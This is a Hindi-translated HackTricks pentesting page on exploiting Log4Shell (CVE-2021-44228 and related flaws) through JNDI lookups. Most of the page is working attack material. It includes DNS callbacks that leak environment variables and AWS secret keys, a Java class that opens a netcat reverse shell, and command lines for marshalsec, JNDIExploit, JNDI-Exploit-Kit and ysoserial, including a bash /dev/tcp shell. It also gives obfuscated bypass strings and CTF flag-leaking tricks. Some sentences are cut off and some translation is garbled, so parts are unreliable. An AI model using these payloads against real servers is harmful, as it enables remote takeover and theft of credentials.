# JNDI - जावा नेमिंग एंड डायरेक्टरी इंटरफेस और लॉग4शैल
htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें हैकट्रिक्स का समर्थन करने के अन्य तरीके: * अगर आप अपनी कंपनी की विज्ञापनित करना चाहते हैं **HackTricks** में या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। * **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
**Try Hard सिक्योरिटी ग्रुप**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## मूलभूत जानकारी JNDI, जो 1990 के दशक से जावा में एकत्रित है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे जावा कार्यक्रम डेटा या ऑब्जेक्ट को नेमिंग सिस्टम के माध्यम से खोज सकते हैं। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जिससे विभिन्न सिस्टम से डेटा प्राप्त किया जा सकता है, जिसमें रिमोट जावा ऑब्ज ## लॉग4शैल-संबंधित CVEs का अवलोकन ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[महत्वपूर्ण]** यह वंशावली में एक महत्वपूर्ण **अविश्वसनीय डिसीरियलाइज़ेशन दोष** है `log4j-core` घटक में, संस्करण 2.0-बीटा9 से 2.14.1 तक प्रभावित है। यह **दूरस्थ कोड क्रियान्वयन (RCE)** की अनुमति देता है, हमलावादियों को सिस्टम पर कब्जा करने की संभावना होती है। इस मुद्दे की रिपोर्ट चेन ज़ाओजुन द्वारा अलीबाबा क्लाउड सुरक्षा टीम से की गई थी और यह विभिन्न एपाचे फ़्रेमवर्क को प्रभावित करती है। संस्करण 2.15.0 में प्रारंभिक सुधार अपूर्ण था। रक्षा के लिए सिग्मा नियम उपलब्ध हैं ([नियम 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [नियम 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))। ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[महत्वपूर्ण]** प्रारंभ में कम रेट किया गया था लेकिन बाद में महत्वपूर्ण माना गया, यह CVE एक **सेवा की अस्वीकृति (DoS)** दोष है जो 2.15.0 में CVE-2021-44228 के लिए अपूर्ण सुधार से होता है। यह गैर-डिफ़ॉल्ट विन्यासों को प्रभावित करता है, हमलावादियों को नुकसान पहुंचाने की अनुमति देता है बनाया गया पेलोड के माध्यम से DoS हमले। एक [ट्वीट](https://twitter.com/marcioalm/status/1471740771581652995) एक बायपास विधि प्रदर्शित करता है। इस मुद्दे को संस्करण 2.16.0 और 2.12.2 में संशोधित करके हल किया गया है जिसमें संदेश खोज पैटर्न को हटाया गया है और JNDI को डिफ़ॉल्ट रूप से अक्षम कर दिया गया है। ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[उच्च]** `JMSAppender` का उपयोग करते हुए गैर-डिफ़ॉल्ट विन्यासों में प्रभावित करने वाला यह CVE **Log4j 1.x संस्करणों** को एक अविश्वसनीय डिसीरियलाइज़ेशन दोष है। 1.x शाखा के लिए कोई सुधार उपलब्ध नहीं है, जो अंत-जीवन है, और `log4j-core 2.17.0` में अपग्र ```bash find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" ``` ### **सत्यापन** पहले सूचीबद्ध कुछ प्लेटफॉर्म आपको कुछ चरित्र डेटा डालने की अनुमति देंगे जो जब यह मांगा जाएगा तो लॉग होगा।\ यह 2 चीजों के लिए बहुत उपयोगी हो सकता है: * **वंशीकरण** की जांच करने के लिए * **वंशीकरण** करके जानकारी अपहरण करने के लिए उदाहरण के लिए आप कुछ इस प्रकार का अनुरोध कर सकते हैं:\ या `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि एक **DNS अनुरोध प्राप्त होता है जिसमें एनवायरनमेंट चरित्र का मान है**, तो आपको पता चल जाएगा कि एप्लिकेशन वंशीकरणयोग्य है। अन्य जानकारी जिसे आप कोशिश कर सकते हैं **लीक** करने के लिए: ``` ${env:AWS_ACCESS_KEY_ID} ${env:AWS_CONFIG_FILE} ${env:AWS_PROFILE} ${env:AWS_SECRET_ACCESS_KEY} ${env:AWS_SESSION_TOKEN} ${env:AWS_SHARED_CREDENTIALS_FILE} ${env:AWS_WEB_IDENTITY_TOKEN_FILE} ${env:HOSTNAME} ${env:JAVA_VERSION} ${env:PATH} ${env:USER} ${hostName} ${java.vendor} ${java:os} ${java:version} ${log4j:configParentLocation} ${sys:PROJECT_HOME} ${sys:file.separator} ${sys:java.class.path} ${sys:java.class.path} ${sys:java.class.version} ${sys:java.compiler} ${sys:java.ext.dirs} ${sys:java.home} ${sys:java.io.tmpdir} ${sys:java.library.path} ${sys:java.specification.name} ${sys:java.specification.vendor} ${sys:java.specification.version} ${sys:java.vendor.url} ${sys:java.vendor} ${sys:java.version} ${sys:java.vm.name} ${sys:java.vm.specification.name} ${sys:java.vm.specification.vendor} ${sys:java.vm.specification.version} ${sys:java.vm.vendor} ${sys:java.vm.version} ${sys:line.separator} ${sys:os.arch} ${sys:os.name} ${sys:os.version} ${sys:path.separator} ${sys:user.dir} ${sys:user.home} ${sys:user.name} Any other env variable name that could store sensitive information ``` ### RCE सूचना {% hint style="info" %} JDK संस्करण 6u141, 7u131 या 8u121 से ऊपर चल रहे होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। यह `com.sun.jndi.ldap.object.trustURLCodebase` की डिफ़ॉल्ट निषेधन के कारण है, जो JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। हालांकि, यह महत्वपूर्ण है कि इन संस्करणों को **डेसीरियलाइज़ेशन हमले के खिलाफ सुरक्षित नहीं किया गया है**। इन उच्च JDK संस्करणों का शोध करने वाले हमलावरों के लिए, जावा एप्लिकेशन में **विश्वसनीय गैजेट** का उपयोग आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। उल्टे, निम्न JDK संस्करणों का शोध करना अधिक सरल है क्योंकि इन संस्करणों को बदलकर विभिन्न क्लासेस को लोड और क्रियान्वित किया जा सकता है। **अधिक जानकारी** के लिए (_जैसे RMI और CORBA वेक्टर्स पर सीमाएं_) **पिछले JNDI नेमिंग संदर्भ खंड** या [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) देखें। {% endhint %} ### RCE - Marshalsec के साथ कस्टम पेलोड आप इसे **THM बॉक्स** में टेस्ट कर सकते हैं: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) का उपयोग करें (jar संस्करण यहाँ उपलब्ध है: [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar))। इस दृष्टिकोण से एक LDAP रेफरल सर्वर स्थापित किया जाता है जो कनेक्शन को एक सेकेंडरी HTTP सर्वर पर पुनर्निर्देशित करता है जहां हमला होस्ट किया जाएगा: ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://:8000/#Exploit" ``` टारगेट को रिवर्स शैल को लोड करने के लिए, नीचे दिए गए सामग्री के साथ `Exploit.java` नामक एक जावा फ़ाइल बनाएं: ```java public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); } catch (Exception e) { e.printStackTrace(); } } } ``` कक्षा फ़ाइल में जावा फ़ाइल को क्लास फ़ाइल में कंपाइल करें: `javac Exploit.java -source 8 -target 8`। अगले, उस निर्दिष्ट डायरेक्टरी में **HTTP सर्वर** को आरंभ करें जिसमें क्लास फ़ाइल है: `python3 -m http.server`। सुनिश्चित करें कि **marshalsec LDAP सर्वर** इस HTTP सर्वर को संदर्भित करता है। एक पेशेवर वेब सर्वर पर उत्पीड़न का कार्यान्वयन करने के लिए एक पेलोड डिस्पैच करके उस विकल्प कक्षा का क्रियान्वयन ट्रिगर करें जैसा कि निम्नलिखित है: ```bash ${jndi:ldap://:1389/Exploit} ``` **ध्यान दें:** यह एक्सप्लॉइट जावा के कॉन्फ़िगरेशन पर निर्भर करता है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देता है। यदि यह अनुमति नहीं है, तो विश्वसनीय क्लास का उपयोग करके अर्बिट्रेरी कोड एक्सीक्यूशन के लिए एक्सप्लॉइट करने का विचार करें। ### RCE - **JNDIExploit** {% hint style="info" %} ध्यान दें कि किसी कारण से लेखक ने इस प्रोजेक्ट को गिटहब से हटा दिया था जब लॉग4शैल की खोज के बाद। आप इसका कैश्ड संस्करण [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में देख सकते हैं लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस वल्न को एक्सप्लॉइट करने के लिए एक विभिन्न तरीका का उपयोग करें। इसके अतिरिक्त, आप वेब सर्वर को **लॉग4शैल** के लिए वल्नरबल करने के लिए इस उदाहरण में पोर्ट 8080 पर चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे कैसे चलाना है इसकी जानकारी मिलेगी_)। यह वल्नरबल एप्लिकेशन एक वल्नरबल संस्करण के साथ लॉग4शैल के साथ HTTP रिक्वेस्ट हेडर _X-Api-Version_ की सामग्री को लॉग कर रहा है। फिर, आप **JNDIExploit** जार फ़ाइल डाउनलोड कर सकते हैं और इसे निम्नलिखित के साथ एक्सीक्यूट कर सकते हैं: ```bash wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\ In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**. You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are: ```bash ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/ReverseShell/[ip]/[port] # But there are a lot more ``` इसलिए, हमारे उदाहरण में, हमारे पास पहले से ही उस डॉकर वंशवाही एप्लिकेशन को चलाया हुआ है। इसे हमला करने के लिए: ```bash # Create a file inside of th vulnerable host: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' # Get a reverse shell (only unix) curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' ``` जब आप हमले भेजेंगे तो आपको वहां कुछ आउटपुट दिखाई देगा जहां आपने **JNDIExploit-1.2-SNAPSHOT.jar** चलाया था। **ध्यान दें कि अन्य शोषण विकल्पों के लिए `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` जांचना। इसके अतिरिक्त, यदि आपको आवश्यकता हो तो, आप LDAP और HTTP सर्वरों के पोर्ट बदल सकते हैं।** ### RCE - JNDI-Exploit-Kit पिछले शोषण के तरह, आप इस भेद्यता का शोषण करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करने की कोशिश कर सकते हैं।\ आप यह विकल्प भेजने के लिए URLs उत्पन्न कर सकते हैं जो पीड़ित को भेजने के लिए हैं: ```bash # Get reverse shell in port 4444 (only unix) java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` _यह हमला एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग करके **टीएचएम सोलर रूम** जैसे लैब्स में काम करेगा। हालांकि, यह आम तौर पर काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को एलडीएपी का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह विश्वसनीय क्लास का दुरुपयोग करने के लिए अनिवार्य कोड को निष्पादित नहीं कर रहा है।_ ### RCE - JNDI-Injection-Exploit-Plus [https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) एक और उपकरण है जो **कार्ययोग्य JNDI लिंक** उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके पृष्ठभूमि सेवाएं प्रदान करता है। ### RCE - ysoserial & JNDI-Exploit-Kit यह विकल्प **केवल निर्दिष्ट कक्षाओं का विश्वास करने के लिए कॉन्फ़िगर किए गए जावा संस्करणों पर हमला करने के लिए वास्तव में उपयोगी है**। इसलिए, **ysoserial** का उपयोग किया जाएगा **विश्वसनीय कक्षाओं की सीरियलाइज़ेशन** उत्पन्न करने के लिए जो गैजेट के रूप में उपयोग किए जा सकते हैं ताकि **अनिवार्य कोड को निष्पादित किया जा सके** (_ysoserial द्वारा दुरुपयोग किया गया विश्वसनीय कक्षा का उपयोग शिकार जावा कार्यक्रम द्वारा किया जाना चाहिए ताकि उत्तेजना काम करे_). **ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप JNDI द्वारा डाउनलोड किए जाने वाले डेसीरियलाइज़ेशन हमला बना सकते हैं: ```bash # Rev shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser ``` व्यक्तिगत जानकारी के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किया जा सके जहाँ उत्पादनशील मशीनों से जोड़ने के लिए अभिशाप का इंतजार किया जा सकता है। आप **JNDI-Exploit-Kit** द्वारा स्वचालित रूप से उत्पन्न विभिन्न अभिशाप का सर्वर कर सकते हैं जो आपके **अपने डेसीरियलाइज़ेशन पेलोड** (जिन्हें आपने या ysoserial द्वारा उत्पन्न किया गया है) के लिए उत्पन्न किया जा सकता है। ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser ``` ![](<../../.gitbook/assets/image (642) (1) (1).png>) अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संक्रमितता का शिकार बन सकते हैं और एक **रिवर्स शैल** प्राप्त कर सकते हैं जो एक संक्रमित संस्करण को भेजने के लिए है: **`${ldap://10.10.14.10:1389/generated}`** ### बायपासेस ```java ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/} ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/} ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z} ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/} ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ``` ### स्वचालित स्कैनर * [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) * [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner) * [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell) * [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner) * [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin) * [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner) * [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner) * [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - स्थानीय विकल्पी पुस्तकालय खोजें ### परीक्षण के लैब * [**LogForge HTB मशीन**](https://app.hackthebox.com/tracks/UHC-track) * [**Try Hack Me Solar room**](https://tryhackme.com/room/solar) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) ## पोस्ट-लॉग4शैल शोषण इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि **Log4J** के कुछ विशेषताओं का दुरुपयोग संभावित है। Log4j के [**सुरक्षा पृष्ठ**](https://logging.apache.org/log4j/2.x/security.html) में कुछ दिलचस्प वाक्य हैं: > संस्करण 2.16.0 (जावा 8 के लिए) से, **संदेश खोज विशेषता पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में खोज काम करती है**। इसके अतिरिक्त, अब Log4j JNDI तक पहुंच को डिसेबल कर देता है। कॉन्फ़िगरेशन में JNDI खोज को सक्षम करना अब व्यक्तिगत रूप से करना होगा। > संस्करण 2.17.0 से, (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में खोज स्ट्रिंग को रूपांतरित किया जाता है**; किसी भी अन्य उपयोग में, केवल शीर्ष स्तर की खोज हल की जाती है, और किसी भी नेस्टेड खोज को हल नहीं किया जाता है। इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी `jndi` उत्पीड़न का उपयोग भूल सकते हैं। इसके अतिरिक्त, रूपांतरित खोज करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा। उदाहरण के लिए, उस CTF में यह फ़ाइल log4j2.xml में कॉन्फ़िगर किया गया था: ```xml ``` ### Env लुकअप [इस CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) में हमलावर `${sys:cmd}` की मान को नियंत्रित करता था और एक environment variable से झंझावट करनी थी। जैसा कि [**पिछले payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, वहाँ विभिन्न तरीके हैं जिनसे env variables तक पहुंचा जा सकता है, जैसे: **`${env:FLAG}`**। इस CTF में यह अकारण था लेकिन यह अन्य वास्तविक जीवन स्थितियों म ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* ## and ONLY if it's found ${error} will be resolved with will trigger an exception ``` * **समय आधारित** जैसा कि पिछले खंड में उल्लिखित किया गया था, **`%replace`** ने **regexes** का समर्थन किया। इसलिए यह संभावना है कि [**ReDoS पृष्ठ**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके एक **समय समाप्ति** को उत्पन्न किया जा सकता है यदि ध्वज मिल जाता है।\ उदाहरण के लिए, एक पेलोड जैसे `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` उस CTF में एक **समय समाप्ति** को ट्रिगर करेगा। इस [**लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, एक ReDoS हमले की बजाय एक **विस्तारण हमले** का उपयोग किया गया था जिससे प्रतिक्रिया में समय का अंतर उत्पन्न हुआ: > ``` > /%replace{ > %replace{ > %replace{ > %replace{ > %replace{ > %replace{ > %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > ``` > > यदि ध्वज `flagGuess` के साथ शुरू होता है, तो पूरा ध्वज 29 `#`-s से बदल दिया जाएगा (मैंने इस वर्ण का उपयोग क्योंकि यह संभावना है कि यह ध्वज का हिस्सा नहीं होगा)। **प्रत्येक परिणामी 29 `#`-s को फिर 54 `#`-s से बदल दिया जाएगा**। यह प्रक्रिया **6 बार** दोहराई जाएगी, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** होंगे। > > इतने सारे `#`-s को बदल देने से Flask एप्लिकेशन का 10 सेकंड का समय समाप्त हो जाएगा, जिससे उपयोगकर्ता को HTTP स्थिति कोड 500 प्राप्त होगा। (यदि ध्वज `flagGuess` के साथ शुरू नहीं होता है, तो हमें गैर-500 स्थिति कोड प्राप्त होगा) ## संदर्भ * [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) * [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/) * [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4) * [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar) * [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78) * [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें HackTricks का समर्थन करने के अन्य तरीके: * यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। * **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।